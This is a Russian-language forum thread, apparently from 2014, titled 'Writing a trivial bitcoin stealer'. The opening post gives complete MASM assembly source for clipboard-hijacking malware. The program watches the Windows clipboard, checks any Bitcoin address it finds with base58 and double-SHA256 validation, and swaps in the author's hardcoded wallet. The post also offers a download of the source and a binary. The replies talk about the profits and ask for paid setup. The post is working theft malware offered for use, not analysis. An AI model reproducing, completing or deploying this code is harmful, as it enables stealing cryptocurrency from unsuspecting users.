Страница 1 из 11
Форум о социальных сетях » Покупка\продажа и услуги » Халява » Пишем тривиальный стилер биткоинов
Пишем тривиальный стилер биткоинов
MosTerroДата: Суббота, 04.01.2014, 14:05 | Сообщение # 1
3 LeveL
Группа: Активный
Сообщений: 49
Награды: 0
Репутация: -2
Замечания: 0%
Статус: Offline


Давным-давно для WebMoney (и не только) был популярен крайне простой способ получить чужие финансы: подменить содержимое буфера обмена Windows, если в нём находится номер кошелька на свой номер. С введением множества степеней защит данный метод перестали использовать, да и эффективность была под вопросом, не говоря уже о необходимости заставить пользователя запустить стороннее ПО, которое будет осуществлять подмену.
Случай с Bitcoin отличается: подтверждения, по сути, отсутствуют, номера кошельков ещё более длинные, на конкретного пользователя не пожалуешься...
В общем, давайте реализуем простой софт, который будет анализировать содержимое буфера обмена и подменять его, если обнаружит там корректный адрес Bitcoin кошелька. Писать будем на MASM, чтобы было веселее.

Для начала необходимо понять, как проверять адрес кошелька на правильность. В этом нам помогут многочисленные веб-сайты, описывающие процесс создания Bitcoin-адреса, a также Пример проверки , пусть даже и на PHP. С логикой проверки разобрались. Приступим к написанию реализации.

Код
.386
.model flat, stdcall
option casemap :none
     
include \masm32\include\windows.inc
include \masm32\macros\macros.asm
include \masm32\macros\windows.asm
     
uselib kernel32, user32, advapi32, masm32
     
.const
; Диапазон допустимой длины адреса кошелька
wallet_len_min equ 27
wallet_len_max equ 34
     
; Код версии адреса
address_version equ 00h
     
; Набор символов, используемых в адресе
; Кроме: 0 O I l
wallet_symbols db "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz", 0
     
; Адрес, на который будет заменяться значение в буфере
wallet_replace db "14GzzUaiNuDZYxhW8xd9emTJDtCjXKJkNT", 0
     
.data?
prov dd ?

Мы объявили некоторые вспомогательные константы, которые нам в дальнейшем понадобятся для проверки адрес на корректность. Из ссылок выше понятно, что нам придется делать функцию декодирования для base58 и где-то брать реализацию SHA256. base58 реализуем самостоятельно, а SHA256... в общем воспользуемся Microsoft CryptoAPI. Продолжим.

Код
.code
; Вспомогательные функции
; Небольшая функция для логирования отладочной информации
log_message proc msg:dword
      local buffer[256]:byte
     
      invoke GetLastError
      invoke wsprintf, addr buffer, chr$("%s [%08X]"), msg, eax
     
      invoke OutputDebugString, addr buffer
     
      ret
log_message endp
     
base58_decode proc uses ebx esi edi, in_buffer:dword, out_buffer:dword
     
      ; Будем опираться на констаны, свойственные для проверки кошелька
      ; Размер выходного буфера не менее 25 байт (расширенный RIPEMD-160 + 4 байта контрольной суммы)]
      ; Декодирование исключительно под адрес кошелька,
      ; для абстрактной строки в base58 функцию необходимо править
     
      ; Заполняем содержимое буфера нулями
      xor eax, eax
      mov ecx, 25
      mov edi, out_buffer   
      rep stosb
     
     
      mov esi, in_buffer
      mov edi, out_buffer
m1:
      ; Нулл-байт во входном буфере - конец декодирования
      movzx eax, byte ptr[esi]
      test eax, eax
      je m5
     
      ; Сохраним регистр на время сканирования символа в eax
      push esi
     
      ; Символ должен быть из набора wallet_symbols
      mov esi, offset wallet_symbols
m2:
      movzx ebx, byte ptr[esi]
      ; Если байты совпадают, то символ входит в набор допустимых
      cmp eax, ebx
      jz m3
     
      ; Если мы дошли до конца набора допустимых символов (нулл-байт)
      ; и все ещё не вышли из цикла, значит, символ не из набора
      test ebx, ebx
      je err0
     
      ; Продолжаем проверку
      inc esi
      jmp m2
m3:
      ; Поместим в eax позицию найденого в наборе символа
      mov eax, esi
      mov esi, offset wallet_symbols
     
      sub eax, esi
     
      ; Вложенный цикл с конца выходного буфера
      mov ebx, 25 - 1
m4:
      ; N-й элемент буфера (с конца) умножим на 58
      ; и прибавим к позиции упомянутой выше
      movzx ecx, byte ptr[edi + ebx]
     
      imul ecx, 58
      add eax, ecx
     
      ; Сохраним в выходной буфер результат деления с остатком
      push ebx
     
      cdq
      mov ebx, 256
      div ebx
     
      pop ebx
     
      mov byte ptr[edi + ebx], dl
     
      ; Поделим позицию элемента на 256
      push ebx
     
      cdq
      mov ebx, 256
      div ebx
     
      mov eax, edx
     
      pop ebx
     
      ; Конец тела вложенного цикла
      dec ebx
      test ebx, ebx
      jne m4
     
     
      pop esi
     
      ; Если в eax что-то отличное от нулл-байта,
      ; значит, адрес кошелька имеет некорректный размер
      test eax, eax
      jne err1
     
      inc esi
      jmp m1
m5:    
     
      mov eax, 1
      ret
     
err0:
      pop esi
      invoke log_message, chr$("invalid symbol")
     
      mov eax, 0
      ret
err1:
      invoke log_message, chr$("invalid address length")
     
      mov eax, 0
      ret
base58_decode endp


Теперь у нас есть функция декодирования и небольшая функция логирования. Для лучшего понимания алгоритма base58 стоит обратиться к Google, так как псевдокод или реализация на языке высокого уровня обычно проще для понимания. Перейдем к простой обертке над CryptoAPI, которая будет осуществлять вычисление необходимого хэша.

Код
; Инициализация нужного криптопровайдера
sha256init proc
      invoke CryptAcquireContext, offset prov, NULL, NULL, PROV_RSA_AES, 0
      .if eax == 0
          invoke CryptAcquireContext, offset prov, NULL, NULL, PROV_RSA_AES, CRYPT_NEWKEYSET
      .endif
     
      ret
sha256init endp
     
     
sha256fini proc
      invoke CryptReleaseContext, prov, 0
     
      ret
sha256fini endp
     
; Хэширование SHA256
sha256 proc in_buffer:dword, in_buffer_length:dword, out_buffer:dword, out_buffer_length:dword
      local hash:dword
      local aux:dword
     
      ; CALG_SHA_256 - 0x0000800c
      invoke CryptCreateHash, prov, 0000800Ch, 0, 0, addr hash
      .if eax == 0
          invoke log_message, chr$("CryptCreateHash")
          jmp err
      .endif
     
      invoke CryptHashData, hash, in_buffer, in_buffer_length, 0
      .if eax == 0
          invoke log_message, chr$("CryptHashData")
          jmp err
      .endif
     
      mov aux, sizeof dword
     
      invoke CryptGetHashParam, hash, HP_HASHSIZE, addr out_buffer_length, addr aux, 0
      .if eax == 0
          invoke log_message, chr$("CryptGetHashParam - HP_HASHSIZE")
          jmp err
      .endif
     
      invoke CryptGetHashParam, hash, HP_HASHVAL, out_buffer, addr out_buffer_length, 0
      .if eax == 0
          invoke log_message, chr$("CryptGetHashParam - HP_HASHVAL")
          jmp err
      .endif
     
err:
      .if hash != 0
          invoke CryptDestroyHash, hash
      .endif
     
      ret
sha256 endp


У нас есть всё, что нужно для счастья. Остается основная логика и немного работы с буфером обмена, но для этого мы воспользуемся готовыми функциями из библиотеки MASM.

Код
; Функция проверки адреса
validate_wallet proc uses esi edi, buffer:dword
      local decoded[32]:byte
      local digest1[32]:byte
      local digest2[32]:byte
     
      invoke lstrlen, buffer
      .if eax < wallet_len_min || eax > wallet_len_max
          invoke log_message, chr$("wallet length error")
          jmp err
      .endif
     
      ; Декодируем адрес из base58
      invoke base58_decode, buffer, addr decoded
      .if eax == 0
          invoke log_message, chr$("base58_decode error")
          jmp err     
      .endif
     
      ; Проверяем версию
      lea eax, decoded
      mov al, byte ptr[eax]
      .if al != address_version
          invoke log_message, chr$("address version error")
          jmp err     
      .endif
     
      invoke sha256, addr decoded, 21, addr digest1, sizeof digest1      
      invoke sha256, addr digest1, sizeof digest1, addr digest2, sizeof digest2
     
      ; Сравним декодированную и посчитанную контрольные суммы
      lea esi, decoded
      add esi, 21   
      lea edi, digest2
     
      mov ecx, 4
      repz cmpsb
      jnz err
     
      mov eax, 1
      ret
err:
      mov eax, 0
      ret
validate_wallet endp
     
start proc
      local clipboard_data:dword
     
     
      invoke sha256init
      .if eax == 0
          invoke log_message, chr$("sha256init")
          jmp err
      .endif
     
      .while TRUE
          invoke GetClipboardText
     
          .if eax != 0
              mov clipboard_data, eax
     
              ; Проверим содержимое буфера обмена и заменим,
              ; если это адрес Bitcoin кошелька
              invoke validate_wallet, clipboard_data
              .if eax != 0
                  invoke log_message, chr$("valid wallet detected")
                  invoke SetClipboardTextEx, offset wallet_replace
              .endif
     
              invoke GlobalFree, clipboard_data
          .endif
     
          invoke Sleep, 500
      .endw
     
err:
      invoke sha256fini
     
      invoke ExitProcess, 0
      ret
start endp
     
end start


Вот собственно и всё. Обращу внимание на один момент: функция SetClipboardTextEx не относится к библиотеке masmlib. Что она из себя представляет? Это функция SetClipboardText из masmlib, но после вызова

Код
invoke OpenClipboard,NULL                   ; open clipboard


я добавил ещё

Код
invoke EmptyClipboard                       ; clear clipboard


Без этого функция упорно не хотела изменять содержимое буфера обмена, по крайней мере на Windows 7. Не знаю, с чем это связано, не разбирался.
Теперь всё готово. Компилируем и проверяем, также можно параллельно открыть DebugView и смотреть, какие отладочные сообщения выводит программа.



Опытным путём несложно убедиться, что при копировании корректного адреса через буфер обмена он заменяется на наш.

Исходный код + бинарник для тестов: скачать
Прикрепления: 7262255.png(55Kb) · 8322921.png(27Kb)


Сообщение отредактировал MosTerro - Суббота, 04.01.2014, 14:05
 
Andriy4567Дата: Суббота, 04.01.2014, 14:06 | Сообщение # 2
3 LeveL
Группа: Активный
Сообщений: 28
Награды: 0
Репутация: 3
Замечания: 0%
Статус: Offline
Было бы круто если бы таким софтом около 10 биткойнов сделать, по нынешнему курсу это было бы около 8000 долларов.
 
lulaДата: Понедельник, 06.01.2014, 17:27 | Сообщение # 3
3 LeveL
Группа: Активный
Сообщений: 25
Награды: 0
Репутация: 0
Замечания: 0%
Статус: Offline
Если кто может настроить, за деньги. Отпишите.
 
GluckДата: Среда, 02.12.2015, 21:33 | Сообщение # 4
4 LeveL
Группа: Пользователь
Сообщений: 51
Награды: 0
Репутация: 0
Замечания: 0%
Статус: Offline
спс
 
Форум о социальных сетях » Покупка\продажа и услуги » Халява » Пишем тривиальный стилер биткоинов
Страница 1 из 11
Поиск: